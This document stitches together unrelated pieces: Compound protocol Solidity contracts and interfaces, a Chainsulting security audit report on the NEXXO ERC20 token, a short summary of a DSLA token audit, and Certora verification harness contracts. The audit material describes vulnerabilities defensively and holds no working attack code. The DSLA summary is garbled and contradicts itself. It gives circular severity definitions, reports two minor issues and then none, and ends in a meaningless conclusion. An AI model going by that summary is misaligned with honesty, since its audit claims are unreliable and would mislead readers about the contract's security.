exit(uint) external; } contract JugLike { // --- Data --- struct Ilk { uint256 duty; uint256 rho; } mapping (bytes32 => Ilk) public ilks; uint256 public base; } pragma solidity ^0.5.16; import "./CEther.sol"; /** * @title Compound's Maximillion Contract * @author Compound */ contract Maximillion { /** * @notice The default cEther market to repay in */ CEther public cEther; /** * @notice Construct a Maximillion to repay max in a CEther market */ constructor(CEther cEther_) public { cEther = cEther_; } /** * @notice msg.sender sends Ether to repay an account's borrow in the cEther market * @dev The provided Ether is applied towards the borrow balance, any excess is refunded * @param borrower The address of the borrower account to repay on behalf of */ function repayBehalf(address borrower) public payable { repayBehalfExplicit(borrower, cEther); } /** * @notice msg.sender sends Ether to repay an account's borrow in a cEther market * @dev The provided Ether is applied towards the borrow balance, any excess is refunded * @param borrower The address of the borrower account to repay on behalf of * @param cEther_ The address of the cEther contract to repay in */ function repayBehalfExplicit(address borrower, CEther cEther_) public payable { uint received = msg.value; uint borrows = cEther_.borrowBalanceCurrent(borrower); if (received > borrows) { cEther_.repayBorrowBehalf.value(borrows)(borrower); msg.sender.transfer(received - borrows); } else { cEther_.repayBorrowBehalf.value(received)(borrower); } } } pragma solidity ^0.5.16; import "./PriceOracle.sol"; import "./CErc20.sol"; contract SimplePriceOracle is PriceOracle { mapping(address => uint) prices; event PricePosted(address asset, uint previousPriceMantissa, uint requestedPriceMantissa, uint newPriceMantissa); function getUnderlyingPrice(CToken cToken) public view returns (uint) { if (compareStrings(cToken.symbol(), "cETH")) { return 1e18; } else { return prices[address(CErc20(address(cToken)).underlying())]; } } function setUnderlyingPrice(CToken cToken, uint underlyingPriceMantissa) public { address asset = address(CErc20(address(cToken)).underlying()); emit PricePosted(asset, prices[asset], underlyingPriceMantissa, underlyingPriceMantissa); prices[asset] = underlyingPriceMantissa; } function setDirectPrice(address asset, uint price) public { emit PricePosted(asset, prices[asset], price, price); prices[asset] = price; } // v1 price oracle interface for use as backing of proxy function assetPrices(address asset) external view returns (uint) { return prices[asset]; } function compareStrings(string memory a, string memory b) internal pure returns (bool) { return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b)))); } } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./InterestRateModel.sol"; contract CTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-cToken operations */ ComptrollerInterface public comptroller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } contract CTokenInterface is CTokenStorage { /** * @notice Indicator that this is a CToken contract (for inspection) */ bool public constant isCToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when comptroller is changed */ event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) public view returns (uint); function exchangeRateCurrent() public returns (uint); function exchangeRateStored() public view returns (uint); function getCash() external view returns (uint); function accrueInterest() public returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint); function _acceptAdmin() external returns (uint); function _setComptroller(ComptrollerInterface newComptroller) public returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint); function _reduceReserves(uint reduceAmount) external returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint); } contract CErc20Storage { /** * @notice Underlying asset for this CToken */ address public underlying; } contract CErc20Interface is CErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external returns (uint); } contract CDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } contract CDelegatorInterface is CDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } contract CDelegateInterface is CDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; }
1 / 20 Chainsulting Audit Report © 2020 NEXXO TOKEN SMART CONTRACT AUDIT FOR NEXXO SG PTE. LTD. 07.08.2020 Made in Germany by Chainsulting.de 2 / 20 Chainsulting Audit Report © 2020 Smart Contract Audit - NEXXO Token 1. Disclaimer .................................................................................................................................................................................................................... 3 2. About the Project and Company ............................................................................................................................................................................. 4 2.1 Project Overview: ................................................................................................................................................................................................. 5 3. Vulnerability & Risk Level ......................................................................................................................................................................................... 6 4. Auditing Strategy and Techniques Applied ............................................................................................................................................................ 7 4.1 Methodology ......................................................................................................................................................................................................... 7 4.2 Used Code from other Frameworks/Smart Contracts ................................................................................................................................... 8 4.3 Tested Contract Files .......................................................................................................................................................................................... 9 4.4 Contract Specifications ....................................................................................................................................................................................... 9 4.5 Special Security Note ........................................................................................................................................................................................ 10 5. Test Suite Results .................................................................................................................................................................................................... 11 5.1 Mythril Classic & MYTHX Security Audit ....................................................................................................................................................... 11 5.1.1 A floating pragma is set. ................................................................................................................................................................................ 12 5.1.2 Implicit loop over unbounded data structure. ............................................................................................................................................. 13 6. Specific Attacks (Old Contract) .............................................................................................................................................................................. 14 7. SWC Attacks (New Contract) ................................................................................................................................................................................. 15 7.1 The arithmetic operation can overflow ........................................................................................................................................................... 15 7.2 Loop over unbounded data structure. ............................................................................................................................................................ 16 7.3 Implicit loop over unbounded data structure. ................................................................................................................................................ 17 7.4 Call with hardcoded gas amount. .................................................................................................................................................................... 18 8. Executive Summary ................................................................................................................................................................................................. 19 9. Deployed Smart Contract ....................................................................................................................................................................................... 20 3 / 20 Chainsulting Audit Report © 2020 1. Disclaimer The audit makes no statements or warrantees about utility of the code, safety of the code, suitability of the business model, investment advice, endorsement of the platform or its products, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. The audit documentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of NEXXO SG PTE. LTD. . If you are not the intended receptor of this document, remember that any disclosure, copying or dissemination of it is forbidden. Previous Audit: https://github.com/chainsulting/Smart-Contract-Security-Audits/tree/master/Nexxo/2019 First Audit: https://github.com/chainsulting/Smart-Contract-Security-Audits/blob/master/Nexxo/2020/First%20Contract/02_Smart%20Contract%20Audit%20Nexxo_18_06_2020.pdf Major Versions / Date Description Author 0.1 (16.06.2020) Layout Y. Heinze 0.5 (18.06.2020) Automated Security Testing Manual Security Testing Y. Heinze 1.0 (19.06.2020) Summary and Recommendation Y. Heinze 1.1 (22.06.2020) Adding of MythX Y. Heinze 1.5 (23.06.2020) First audit review and submit changes Y. Heinze 2.0 (29.07.2020) Second audit review from updated contract Y. Heinze 2.1 (07.08.2020) Final edits and adding of the deployed contract etherscan link Y. Heinze 4 / 20 Chainsulting Audit Report © 2020 2. About the Project and Company Company address: NEXXO SG PTE. LTD. 61 ROBINSON ROAD #19-02 ROBINSON CENTRE SINGAPORE 068893 CERTIFICATION OF INCORPORATION NO: 201832832R LEGAL REPRESENTIVE: NEBIL BEN AISSA 5 / 20 Chainsulting Audit Report © 2020 2.1 Project Overview: The world's first global blockchain-powered small business financial services platform. Nexxo is a multi-national company (currently incorporated in Qatar, UAE, India, Pakistan, Singapore and Cyprus Eurozone); it provides financial services to small businesses in the Middle East and emerging markets. Nexxo financial services are bank accounts with an IBAN (International Bank Account Number), MasterCard powered Salary Cards, electronic commerce, Point of Sale, bill payment, invoicing as well as (in the future) loans and financing facilities. These solutions are offered using blockchain technology which reduces the cost of the service, as well as help small businesses grow their revenues, lower costs and achieve a better life for themselves and their families. A Very unique characteristic of NEXXO is that it partners with locally licensed banks, and operates under approval of local central banks; its blockchain is architected to be in full compliance with local central banks, and its token is designed as a reward and discount token, thus not in conflict with locally regulated national currencies. All localized Nexxo Blockchains are Powered by IBM Hyperledger, and connected onto a multi-country international blockchain called NEXXONET. NEXXO operates in multiple countries, it generates profits of Approximately $4.0 Mil USD (audited by Deloitte) and is managed by a highly skilled and experienced team. Security Notice: Re-deploy of the Smart Contract due to a security breach on Digifinex platform. 6 / 20 Chainsulting Audit Report © 2020 3. Vulnerability & Risk Level Risk represents the probability that a certain source-threat will exploit vulnerability, and the impact of that event on the organization or system. Risk Level is computed based on CVSS version 3.0. Level Value Vulnerability Risk (Required Action) Critical 9 – 10 A vulnerability that can disrupt the contract functioning in a number of scenarios, or creates a risk that the contract may be broken. Immediate action to reduce risk level. High 7 – 8.9 A vulnerability that affects the desired outcome when using a contract, or provides the opportunity to use a contract in an unintended way. Implementation of corrective actions as soon as possible. Medium 4 – 6.9 A vulnerability that could affect the desired outcome of executing the contract in a specific scenario. Implementation of corrective actions in a certain period. Low 2 – 3.9 A vulnerability that does not have a significant impact on possible scenarios for the use of the contract and is probably subjective. Implementation of certain corrective actions or accepting the risk. Informational 0 – 1.9 A vulnerability that have informational character but is not effecting any of the code. An observation that does not determine a level of risk 7 / 20 Chainsulting Audit Report © 2020 4. Auditing Strategy and Techniques Applied Throughout the review process, care was taken to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. To do so, reviewed line-by-line by our team of expert pentesters and smart contract developers, documenting any issues as there were discovered. 4.1 Methodology The auditing process follows a routine series of steps: 1. Code review that includes the following: i. Review of the specifications, sources, and instructions provided to Chainsulting to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Chainsulting describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analysing a program to determine what inputs causes each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, actionable recommendations to help you take steps to secure your smart contracts. 8 / 20 Chainsulting Audit Report © 2020 4.2 Used Code from other Frameworks/Smart Contracts 1. SafeMath.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol 2. ERC20Burnable.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/ERC20Burnable.sol 3. ERC20.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol 4. IERC20.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol 5. Ownable.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol 6. Pausable.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/lifecycle/Pausable.sol 7. PauserRole.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/access/roles/PauserRole.sol 8. Roles.sol https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/access/Roles.sol 9. SafeERC20.sol (0.6.0) https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/SafeERC20.sol 9 / 20 Chainsulting Audit Report © 2020 4.3 Tested Contract Files The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review File Fingerprint (SHA256) Source nexxo_contract_proxy_08_0_1.sol AC44BBF936FBE3AF0E30A7B2CD07836A11A5770BB80C678E74F5092FE1A2E988 https://raw.githubusercontent.com/chainsulting/Smart-Contract-Security-Audits/master/Nexxo/2020/Fixed%20Contract/nexxo_contract_proxy_08_0_1.sol nexxo_contract_solidity_08_0_1.sol A3B521889D46A851424AC3D570104A30857647C2510B6DDA8EE4612C6E038DE5 https://raw.githubusercontent.com/chainsulting/Smart-Contract-Security-Audits/master/Nexxo/2020/Fixed%20Contract/nexxo_contract_solidity_08_0_1.sol 4.4 Contract Specifications Language Solidity Token Standard ERC20 Most Used Framework OpenZeppelin Compiler Version 0.6.11 Upgradeable Yes Burn Function Yes Proxy Yes Mint Function No (Fixed total supply) Lock Mechanism Yes Vesting Function Yes Ticker Symbol NEXXO Total Supply 100 000 000 000 Decimals 18 10 / 20 Chainsulting Audit Report © 2020 4.5 Special Security Note The following Smart Contracts are outdated and not anymore used by Nexxo Network Company. DON’T USE IT ! https://etherscan.io/token/0x2c7fa71e31c0c6bb9f21fc3c098ac2c53f8598cc https://etherscan.io/token/0x278a83b64c3e3e1139f8e8a52d96360ca3c69a3d 11 / 20 Chainsulting Audit Report © 2020 5. Test Suite Results The NEXXO Token is part of the Nexxo Smart Contract and this one was audited. All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. 5.1 Mythril Classic & MYTHX Security Audit Mythril Classic is an open-source security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. 12 / 20 Chainsulting Audit Report © 2020 Issues (Old Contract) Source Code: https://raw.githubusercontent.com/chainsulting/Smart-Contract-Security-Audits/master/Nexxo/2020/First%20Contract/NexxoToken.sol 5.1.1 A floating pragma is set. Severity: LOW Code: SWC-103 Status: Fixed File(s) affected: NexxoToken.sol Attack / Description Code Snippet Result/Recommendation The current pragma Solidity directive is "">=0.5.3<=0.5.8"". It is recommended to specify a fixed compiler version to ensure that the bytecode produced does not vary between builds. This is especially important if you rely on bytecode-level verification of the code. Line: 1 pragma solidity >=0.5.3 <=0.5.8; It is recommended to follow the latter example, as future compiler versions may handle certain language constructions in a way the developer did not foresee. Pragma solidity 0.5.3 13 / 20 Chainsulting Audit Report © 2020 5.1.2 Implicit loop over unbounded data structure. Severity: LOW Code: SWC-128 Status: Fixed File(s) affected: NexxoToken.sol Attack / Description Code Snippet Result/Recommendation Gas consumption in function "getBlockedAddressList" in contract "NexxoTokens" depends on the size of data structures that may grow unboundedly. The highlighted statement involves copying the array "blockedAddressList" from "storage" to "memory". When copying arrays from "storage" to "memory" the Solidity compiler emits an implicit loop.If the array grows too large, the gas required to execute the code will exceed the block gas limit, effectively causing a denial-of-service condition. Consider that an attacker might attempt to cause this condition on purpose. Line: 1438 – 1440 function getBlockedAddressList() public onlyOwner view returns(address [] memory) { return blockedAddressList; } Only the Owner can use that function. The NEXXO Smart Contract is secure against that attack Result: The analysis was completed successfully. No major issues were detected. 14 / 20 Chainsulting Audit Report © 2020 6. Specific Attacks (Old Contract) Attack / Description Code Snippet Severity Result/Recommendation Checking Outdated Libraries All libraries are based on OpenZeppelin Framework solidity 0.5.0 https://github.com/OpenZeppelin/openzeppelin-contracts/tree/release-v2.5.0 Status: Fixed Severity: 2 Recommended to migrate the contract to solidity v.0.6.0 and the used libraries. Example: Line 19 - 111 SafeMath.sol migrate to v.0.6 https://github.com/OpenZeppelin/openzeppelin-contracts/commit/5dfe7215a9156465d550030eadc08770503b2b2f#diff-b7935a40e05eeb5fe9024dc210c8ad8a * Improvement: functions in SafeMath contract overloaded to accept custom error messages. * CHANGELOG updated, custom error messages added to ERC20, ERC721 and ERC777 for subtraction related exceptions. * SafeMath overloads for 'add' and 'mul' removed. * Error messages modified. Contract code size over limit. Contract creation initialization returns data with length of more than 24576 bytes. The deployment will likely fails. Status: Fixed Severity: 3 The Contract as delivered reached the 24 KB code size limit. To deploy the code you need to split your contracts into various contracts by using proxies. 15 / 20 Chainsulting Audit Report © 2020 7. SWC Attacks (New Contract) Detected Vulnerabilities Informational: 0 Low: 3 Medium: 0 High: 1 Critical: 0 7.1 The arithmetic operation can overflow Severity: HIGH Code: SWC-101 Status: Fixed (SafeMath newest version) File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation It is possible to cause an arithmetic overflow. Prevent the overflow by constraining inputs using the require() statement or use the OpenZeppelin SafeMath library for integer arithmetic operations. Refer to the transaction trace generated for this issue to reproduce the overflow. Line: 1013 uint256 amount = msg.value * unitsOneEthCanBuy(); The NEXXO Smart Contract is secure against that attack with using SafeMath library 16 / 20 Chainsulting Audit Report © 2020 7.2 Loop over unbounded data structure. Severity: LOW Code: SWC-128 File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation Gas consumption in function "toString" in contract "Strings" depends on the size of data structures or values that may grow unboundedly. If the data structure grows too large, the gas required to execute the code will exceed the block gas limit, effectively causing a denial-of-service condition. Consider that an attacker might attempt to cause this condition on purpose. Line: 78 / 85 while (temp != 0) { The NEXXO Smart Contract is secure against that attack 17 / 20 Chainsulting Audit Report © 2020 7.3 Implicit loop over unbounded data structure. Severity: LOW Code: SWC-128 File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation Gas consumption in function "getBlockedAddressList" in contract "NexxoTokensUpgrade1" depends on the size of data structures that may grow unboundedly. The highlighted statement involves copying the array "blockedAddressList" from "storage" to "memory". When copying arrays from "storage" to "memory" the Solidity compiler emits an implicit loop.If the array grows too large, the gas required to execute the code will exceed the block gas limit, effectively causing a denial-of-service condition. Consider that an attacker might attempt to cause this condition on purpose. Line: 1098 return blockedAddressList; The NEXXO Smart Contract is secure against that attack 18 / 20 Chainsulting Audit Report © 2020 7.4 Call with hardcoded gas amount. Severity: LOW Code: SWC-134 File(s) affected: nexxo_contract_solidity_08_0_1.sol Attack / Description Code Snippet Result/Recommendation The highlighted function call forwards a fixed amount of gas. This is discouraged as the gas cost of EVM instructions may change in the future, which could break this contract's assumptions. If this was done to prevent reentrancy attacks, consider alternative methods such as the checks-effects-interactions pattern or reentrancy locks instead. Line: 1020 ownerWallet().transfer(msg.value); //Transfer ether to fundsWallet The NEXXO Smart Contract is secure against that attack Sources: https://smartcontractsecurity.github.io/SWC-registry https://dasp.co https://github.com/chainsulting/Smart-Contract-Security-Audits https://consensys.github.io/smart-contract-best-practices/known_attacks 19 / 20 Chainsulting Audit Report © 2020 8. Executive Summary A majority of the code was standard and copied from widely-used and reviewed contracts and as a result, a lot of the code was reviewed before. It correctly implemented widely-used and reviewed contracts for safe mathematical operations. The audit identified no major security vulnerabilities, at the moment of audit. We noted that a majority of the functions were self-explanatory, and standard documentation tags (such as @dev, @param, and @returns) were included. All recommendations from the first audit are implemented by the Nexxo Team. 20 / 20 Chainsulting Audit Report © 2020 9. Deployed Smart Contract Token Address: https://etherscan.io/token/0xd98bd7bbd9ca9b4323448388aec1f7c67f733980 Contract Address: https://etherscan.io/address/0xcabc7ee40cacf896ca7a2850187e1781b05f09c5 Proxy Contract Address: https://etherscan.io/address/0xd98bd7bbd9ca9b4323448388aec1f7c67f733980
1-Minor severity – A vulnerability that have minor effect on the code and can be fixed with minor changes. 2-Moderate severity – A vulnerability that have moderate effect on the code and can be fixed with moderate changes. 3-Major severity – A vulnerability that have major effect on the code and can be fixed with major changes. 4-Critical severity – A vulnerability that have critical effect on the code and can be fixed with critical changes. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unused variables in the contract (line 28, line 32, line 33) 2.b Fix: Remove the unused variables (line 28, line 32, line 33) Observations: The DSLA Token is part of the DSLA Crowdsale Contract and both were audited. All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. Used Code from other Frameworks/Smart Contracts (3th Party): 1. SafeMath.sol 2. ERC20Burnable.sol 3. ERC20.sol 4. IERC20.sol 5. Ownable.sol 6. Pausable.sol 7. PauserRole.sol Conclusion: The audit of the DSLA Token and the DSLA Crowdsale Contract revealed no critical or major issues. There were two minor issues which have been addressed. The code is well commented and uses code from other frameworks and smart Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations: - Language used is Solidity - Token Standard is ERC20 - Most Used Framework is OpenZeppelin - Compiler Version is 0.4.24 - Burn Function is present in DSLACrowdsale.sol - Mint Function is present - Ticker Symbol is DSLA - Total Supply is 10 000 000 000 - Timestamps used is Blocktimestamp in DSLACrowdsale.sol - Functions listed as [Pub] public, [Ext] external, [Prv] private, [Int] internal - ($) denotes a function is payable - (#) indicates that it's able to modify state Conclusion: The report has provided a summary of the contracts and methods used in the DSLA Token. All the issues have been found to be of minor/moderate/major/critical level. The language used is Solidity, the token standard is ERC20, the most used framework is OpenZeppelin, the compiler version is 0.4.24, the burn function is present in DSLACrowdsale.
pragma solidity ^0.5.16; import "../../../contracts/CErc20Delegate.sol"; import "../../../contracts/EIP20Interface.sol"; import "./CTokenCollateral.sol"; contract CErc20DelegateCertora is CErc20Delegate { CTokenCollateral public otherToken; function mintFreshPub(address minter, uint mintAmount) public returns (uint) { (uint error,) = mintFresh(minter, mintAmount); return error; } function redeemFreshPub(address payable redeemer, uint redeemTokens, uint redeemUnderlying) public returns (uint) { return redeemFresh(redeemer, redeemTokens, redeemUnderlying); } function borrowFreshPub(address payable borrower, uint borrowAmount) public returns (uint) { return borrowFresh(borrower, borrowAmount); } function repayBorrowFreshPub(address payer, address borrower, uint repayAmount) public returns (uint) { (uint error,) = repayBorrowFresh(payer, borrower, repayAmount); return error; } function liquidateBorrowFreshPub(address liquidator, address borrower, uint repayAmount) public returns (uint) { (uint error,) = liquidateBorrowFresh(liquidator, borrower, repayAmount, otherToken); return error; } } pragma solidity ^0.5.16; import "../../../contracts/CDaiDelegate.sol"; contract CDaiDelegateCertora is CDaiDelegate { function getCashOf(address account) public view returns (uint) { return EIP20Interface(underlying).balanceOf(account); } } pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; import "../../../contracts/Governance/GovernorAlpha.sol"; contract GovernorAlphaCertora is GovernorAlpha { Proposal proposal; constructor(address timelock_, address comp_, address guardian_) GovernorAlpha(timelock_, comp_, guardian_) public {} // XXX breaks solver /* function certoraPropose() public returns (uint) { */ /* return propose(proposal.targets, proposal.values, proposal.signatures, proposal.calldatas, "Motion to do something"); */ /* } */ /* function certoraProposalLength(uint proposalId) public returns (uint) { */ /* return proposals[proposalId].targets.length; */ /* } */ function certoraProposalStart(uint proposalId) public returns (uint) { return proposals[proposalId].startBlock; } function certoraProposalEnd(uint proposalId) public returns (uint) { return proposals[proposalId].endBlock; } function certoraProposalEta(uint proposalId) public returns (uint) { return proposals[proposalId].eta; } function certoraProposalExecuted(uint proposalId) public returns (bool) { return proposals[proposalId].executed; } function certoraProposalState(uint proposalId) public returns (uint) { return uint(state(proposalId)); } function certoraProposalVotesFor(uint proposalId) public returns (uint) { return proposals[proposalId].forVotes; } function certoraProposalVotesAgainst(uint proposalId) public returns (uint) { return proposals[proposalId].againstVotes; } function certoraVoterVotes(uint proposalId, address voter) public returns (uint) { return proposals[proposalId].receipts[voter].votes; } function certoraTimelockDelay() public returns (uint) { return timelock.delay(); } function certoraTimelockGracePeriod() public returns (uint) { return timelock.GRACE_PERIOD(); } } pragma solidity ^0.5.16; import "../../../contracts/Comptroller.sol"; contract ComptrollerCertora is Comptroller { uint8 switcher; uint liquidityOrShortfall; function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { if (switcher == 0) return (Error.NO_ERROR, liquidityOrShortfall, 0); if (switcher == 1) return (Error.NO_ERROR, 0, liquidityOrShortfall); if (switcher == 2) return (Error.SNAPSHOT_ERROR, 0, 0); if (switcher == 3) return (Error.PRICE_ERROR, 0, 0); return (Error.MATH_ERROR, 0, 0); } } pragma solidity ^0.5.16; import "../../../contracts/CEther.sol"; contract CEtherCertora is CEther { constructor(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public CEther(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_, admin_) { } } pragma solidity ^0.5.16; import "../../../contracts/Timelock.sol"; contract TimelockCertora is Timelock { constructor(address admin_, uint256 delay_) public Timelock(admin_, delay_) {} function grace() pure public returns(uint256) { return GRACE_PERIOD; } function queueTransactionStatic(address target, uint256 value, uint256 eta) public returns (bytes32) { return queueTransaction(target, value, "setCounter()", "", eta); } function cancelTransactionStatic(address target, uint256 value, uint256 eta) public { return cancelTransaction(target, value, "setCounter()", "", eta); } function executeTransactionStatic(address target, uint256 value, uint256 eta) public { executeTransaction(target, value, "setCounter()", "", eta); // NB: cannot return dynamic types (will hang solver) } } pragma solidity ^0.5.16; import "../../../contracts/CErc20Immutable.sol"; import "../../../contracts/EIP20Interface.sol"; contract CTokenCollateral is CErc20Immutable { constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public CErc20Immutable(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_, admin_) { } function getCashOf(address account) public view returns (uint) { return EIP20Interface(underlying).balanceOf(account); } } pragma solidity ^0.5.16; import "../../../contracts/CErc20Delegator.sol"; import "../../../contracts/EIP20Interface.sol"; import "./CTokenCollateral.sol"; contract CErc20DelegatorCertora is CErc20Delegator { CTokenCollateral public otherToken; constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_, address implementation_, bytes memory becomeImplementationData) public CErc20Delegator(underlying_, comptroller_, interestRateModel_, 